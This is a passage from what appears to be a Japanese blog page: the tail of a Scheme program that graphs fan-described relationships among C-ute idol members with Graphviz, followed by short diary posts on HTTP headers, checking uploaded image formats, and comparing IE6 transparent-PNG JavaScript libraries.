   (assoc n edges)))

(define (related? x y)
  (find-relation (cons x y) (lambda (_) #t)))

(define (from? n x)
  (eq? (car n) x))

(define (to? n x)
  (eq? (cdr n) x))

(define flip-relation
  (case-lambda
    ((n)
     (and (related? (cdr n) (car n))
          (cons (cdr n) (car n))))
    ((n k)
     ((fif true? k)
      (flip-relation n)))))

(define (get-score n)
  (cdr (assq 'score n)))

(define (get-description n)
  (cdr (assq 'desc n)))

(define (describe-relation n)
  (find-relation n get-description))

(define (score-relation n)
  (or (find-relation n get-score) 0))

(define (print-node . ns)
  (for-each (cute find-relation <>
                  (lambda (r)
                    (display
                     (format "| ~a => ~a  (~a)~%"
                             (caar r) (cdar r)
                             (mapconcat (lambda (s)
                                          (string-append "\"" s "\""))
                                        (cdr (assq 'desc r))
                                        ", ")))))
            ns))

(define (iter-nodes k)
  (let lp ((nodes nodes))
    (unless (null? nodes)
      (k (car nodes))
      (lp (cdr nodes)))))

(define (filter-nodes p)
  (let ((ns '()))
    (iter-nodes (fif p
                     (cut find-relation <> (lambda (n)
                                             (set! ns (cons n ns))))))
    ns))

(define (from-links)
  (map car nodes))

(define (to-links)
  (map cdr nodes))

(define (all-members)
  (delete-duplicates! (from-links)))

(define (all-pairs) nodes)

(define (ordered-pairs)
  (concat! (map (lambda (x)
                  (map car
                       (sort (filter-nodes (cute to? <> (car x)))
                             (lambda (x y)
                               (> (get-score x) (get-score y))))))
                (sort-nodes (map (lambda (x)
                                   (cons x (score-loved x)))
                                 (all-members))))))

(define (all-combinations)
  (let lp ((cs '()) (ns nodes))
    (if (null? ns)
        cs
        (let ((n (car ns)))
          (lp (if (member (list (cdr n) (car n))
                          cs)
                  cs
                  (cons (list (car n) (cdr n)) cs))
              (cdr ns))))))

;; number-list :: [a] -> [(a . Int)]
(define (number-list ls)
  (let lp ((ns '()) (ls ls))
    (if (null? ls)
        ns
        (let ((x (car ls)))
          (lp ((fif not
                    (lambda (_) (cons (cons x 1) ns))
                    (lambda (n)
                      (set-cdr! n (add1 (cdr n)))
                      ns))
               (assq x ns))
              (cdr ls))))))

;; sort-nodes :: [(a . Int)] -> [(a . Int)]
(define (sort-nodes ns)
  (sort ns (lambda (x y)
             (> (cdr x) (cdr y)))))

(define (diff-nodes ms ns)
  (let lp ((ds '()) (ns ns))
    (if (null? ns)
        (sort-nodes ds)
        (lp (let* ((n (car ns))
                   (m (assq (car n) ms)))
              (cons (cons (car n)
                          (- (cdr m) (cdr n)))
                    ds))
            (cdr ns)))))

(define (get-total-score x p)
  (foldr (lambda (n acc)
           (+ (get-score n) acc))
         0
         (filter-nodes (cut p <> x))))

(define (score-loved x)
  (get-total-score x to?))

(define (score-loving x)
  (get-total-score x from?))

(define (score-between x y)
  (+ (score-relation (cons x y))
     (score-relation (cons y x))))

(define (-> x)
  (display (format "~%Links from [~a]~%" x))
  (iter-nodes (fif (cut from? <> x)
                   print-node)))

(define (<- x)
  (display (format "~%Links towards [~a]~%" x))
  (iter-nodes (fif (cut to? <> x)
                   print-node)))

(define (<-> x)
  (display (format "~%Reciprocal links for [~a]~%" x))
  (iter-nodes (fif (cut to? <> x)
                   (lambda (n)
                     (flip-relation n
                                    (lambda (m)
                                      (print-node m n)))))))

(define (<=> x)
  (display (format "~%Reciprocal matches for [~a]~%" x))
  (iter-nodes
   (fif (cut to? <> x)
        (lambda (n)
          (flip-relation n
                         (lambda (m)
                           (if (ormap (lambda (x)
                                        (ormap (lambda (y)
                                                 (equal? x y))
                                               (describe-relation m)))
                                      (describe-relation n))
                               (print-node m n))))))))

(define (<?> x)
  (let ((to (assq x (number-list (from-links))))
        (from (assq x (number-list (to-links)))))
    (display (string-append
              (format "~%Link statistics for [~a]~%"
                      x)
              (format "| ~a => ~a (love ~a)~%"
                      x
                      (cdr to)
                      (score-loving x))
              (format "| ~a => ~a (love ~a)~%"
                      (cdr from)
                      x
                      (score-loved x))))))

(define (info x)
  (for-each (cut <> x)
            (list <- <-> <=> -> <?>)))

;;; GraphViz (http://www.graphviz.org/) support

(define graphviz "C:/Program Files/ATT/Graphviz/bin/dot.exe")

(define (nodes->dot ns)
  (string-append "digraph cute {\n"
                 ;;"\tordering=out;\n"
                 ;;"\trankdir=LR;\n"
                 "\toverlap=true;\n"
                 "\tnode[fontname=\"msgothic.ttc\"];\n"
                 "\tedge[fontname=\"msgothic.ttc\",fontsize=9];\n"
                 (let lp ((str "") (ns ns))
                   (if (null? ns)
                       str
                       (let* ((n (car ns))
                              (s (score-relation n)))
                         (lp (string-append
                              str
                              (format "\t\"~a\" -> \"~a\""
                                      (symbol->name (car n))
                                      (symbol->name (cdr n)))
                              (format "[label=\"~a\",color=\"~a\","
                                      (break-string
                                       (car (describe-relation n))
                                       7)
                                      (cond ((> s 0) "red")
                                            ((= s 0) "green")
                                            (else "blue")))
                              (format "style=\"bold~a\"];\n"
                                      (if (and (not (= s 0)) (< s 1) (> s -1))
                                          ",dashed"
                                          "")))
                             (cdr ns)))))
                 "}"))

(define (write-dotfile dot file)
  (and (file-exists? file) (delete-file file))
  (with-output-to-file file
    (lambda ()
      (display dot)))
  file)

(define (dot->png dot png)
  (call-with-input-file (write-dotfile dot "c-ute.dot")
    (lambda (in)
      (and (file-exists? png) (delete-file png))
      (call-with-output-file png
        (lambda (out)
          (run graphviz "-Tpng" in out)))))
  'done)

;;; Setup database

;; Based on:
;; http://ex23.2ch.net/test/read.cgi/morningcoffee/1188654905/116-142
(begin
  (relate 'maimi 'erika "大好き" 1)
  (relate 'maimi 'kanna "良き妹" 1)
  (relate 'maimi 'airi "良き妹" 1)
  (relate 'maimi 'mai "姉妹" 0)
  (relate 'erika 'maimi "一番可愛いよ" 1)
  (relate 'erika 'kanna "仲間" 0)
  (relate 'erika 'chisato "おソロパジャマ" 0)
  (relate 'kanna 'erika "仲間" 0)
  (relate 'kanna 'maimi "好き" 1)
  (relate 'kanna 'saki "喰ってやるよ" 1)
  (relate 'kanna 'mai "喰ってやるよ" 1)
  (relate 'kanna 'airi "大好き" 1)
  (relate 'kanna 'chisato "愛理に手出すんじゃねぇよ" -1)
  (relate 'saki 'maimi "荷物整理" 0)
  (relate 'saki 'erika "彼氏にしたい" 1)
  (relate 'saki 'kanna "興味がある" 0.5)
  (relate 'saki 'chisato "愛理に手出すんじゃねぇよ" -1)
  (relate 'saki 'airi "好き" 1)
  (relate 'airi 'kanna "受け入れる" 1)
  (relate 'airi 'chisato "最近親密" 1)
  (relate 'mai 'erika "保護者" 0)
  (relate 'mai 'maimi "姉妹" 0)
  (relate 'mai 'chisato "恋人" 1)
  (relate 'chisato 'erika "おソロパジャマ" 0)
  (relate 'chisato 'mai "恋人" 1)
  (relate 'chisato 'airi "最近親密" 1))

;; query relations / draw graphs

(if (file-exists? graphviz)
    (dot->png (nodes->dot (ordered-pairs))
              "c-ute.png")
    (for-each info (all-members)))

追記(グラフ描画について)

Graphviz というソフトによって関係図を可視化できる、ということを教えていただきました(既に上プログラムを実行すると自動的に関係画像を作成するようにしてあります)。ここでは技術的な観点から幾つか注意点を挙げておきます。

まず、Scheme プログラムから Graphviz を動かす方法について。コマンドラインからの起動のように、プログラムへのオプション文字列で入出力ファイルを指定する方法ではどうも上手く行きませんでした。調査の結果、入出力ファイルポートScheme 側で用意しておく必要があるようです。処理系によって異なりますが、PLT Scheme の場合 subprocess という関数を次のように呼び出します。

(subprocess output-port input-port #f "/path/to/dot.exe" "-Tpng")

ここで output-port は png画像ファイルへの出力ポート。input-port は dot ファイルグラフの定義ファイル)の入力ポートです。エラーポートは必要無いでしょう (#f)。

dot という名前の実行ファイルが、関係図のような有向グラフを描画するプログラムです。最後にオプション文字列として出力形式を指定します(png, jpeg, gif, etc.)。

次に dot ファイルScheme で書く方法ですが、以下の基本的な有向グラフの書式

digraph g {
  A -> B;
  B -> C;
  C -> A;
}

を理解すれば、後は実直に Schemeデータを当てはめて format 関数等で変換するだけです。

(string-append
 "digraph g {"
 (format "~a -> ~a;" (car node) (cdr node))
 "}")

問題は、ノードを配置する順番によって出来上がる画像が変わってくる、ということです。

より見た目に分かりやすくするための工夫としては、相互にリンクするノード同士が dot ファイル上でも近接して出力されるようにすると良いでしょう。関連の強いものが画像の上でも近くに表示されるようになります。

また上述(特に例3)のスコア概念を応用し、スコアの低いものが後に出力されるようにすることで、重力感覚に一致するような関係図を得ることができるでしょう。

2007-05-29

ヘッダも偽装?

http://anond.hatelabo.jp/20070529203018

それってHTTPサーバログからとったやつだよね?apache?それ以外?

何にしても、ヘッダが偽装って、プロクシとかが付けるviaの事?

それ解釈しちゃうの?普通接続元そのままじゃない?

拡張子偽造のスクリプト」ってのが気になる。どんな事するの?それ。

つか、IEの内容見て判断するお節介機能は何とかなんないのかな。

ま、とりあえずUAMSIEってあったら、問答無用でattachmentにしとけばいいよ。

imgタグだったらインラインで表示してくれるから。それはそれでどうかと思う(IEの)仕様だけどね。

いや、似た様な事が出来るCGI使ってるんで。

[追記]

そうそうセキュリティに詳しい増田さん。いたら教えてください。

信頼できない者から送られてきたデータが、セキュリティ的に他の多数のクライアント画像として送っても良いデータ(JPEGPNGGIFBPM)であるか、判断するのは先頭4バイトくらいで可能ですか?

2007-03-28

anond:20070328132729

上二つは間違い読みの弊害か・・・

読み方の判らない物はむやみに日本語にしようとしないでアルファベットで言え!って言えば?

ラーなんて言った事無いし、PNGpingは読み違うし…

この辺どうにかならないわけ? っていうか「ラーで圧縮して」とか言われたらRARだと思うじゃん普通。形式名の方で、LZHって言ってよ。

2007-02-06

古いブラウザで透過PNGを表示させるJavascriptの比較検証

取り上げるのは下の3つ。便宜的に上からapng、alphafilter、ie6pngとする。

IT戦記 - 僕も半透明 png を使うためのライブラリ作った!

アルファ画像を扱うalphafilter.jsライブラリ-とあるWEBクリエイターのblog

ウノウラボ Unoh Labs: IE6でアルファチャンネルを含むPNGを表示する

apng

特長
萌えポイント
好みがわかれるところ
  • 対象PNGの直後にscriptロードするだけで使える / 何度もロードしなきゃいけないのが嫌
びみょうなところ
  • imgにwidthとheightを指定しなきゃいけない(詳細不明)
簡単カスタマイズ
  • elmScript.src.replaceのとこをいじって好きなファイル名(/blank.gifとか)に置換する
想定される用途

alphafilter

特長
好みがわかれるところ
  • classを使って処理を適用するかどうか決める / class指定しなきゃいけないのが面倒
  • Event.observeが組み込まれてる
萌えポイント
びみょうなところ
  • prototype.jsが必要
  • どうせEvent.observe使うなら無名関数にしてほしい
  • window.onload時に実行されるので若干ラグ
簡単カスタマイズ
  • 複雑なことはしてない(Event.observeとdocument.getElementsByClassNameだけ)のでprototype.jsレスにするのが容易
  • document.getElementsByClassNameの第二引数を指定できるようにしたり、対象エレメントの配列ダイレクト引数で受け取れるようにしたり
想定される用途
  • 複数PNGに適用したいとき
  • 透過PNGを背景に使いたいとき

ie6png

特長
  • 代替GIFを指定できる
萌えポイント

特になし。ごめんなさい。

びみょうなところ
簡単カスタマイズ
  • AlphaChanneledPNG.initializeのEvent.observeを消して、実行コードを以下のようにして、HTMLの最後に書けばすっきりしていいとおもう
new AlphaChanneledPNG("imageId1","/blank.gif").show();
new AlphaChanneledPNG("imageId2","/blank.gif").show();
...
想定される用途
  • うーん……。

結論

  • 手っ取り早く使うならapng、CSSbackgroundに使うとか、PNGの数が多いならalphafilter
  • jQueryと衝突するのでprototype.jsはカンベンしてください
  • 欲を言えばIE7が出る前に開発してほしかったです
ログイン ユーザー登録
ようこそ ゲスト さん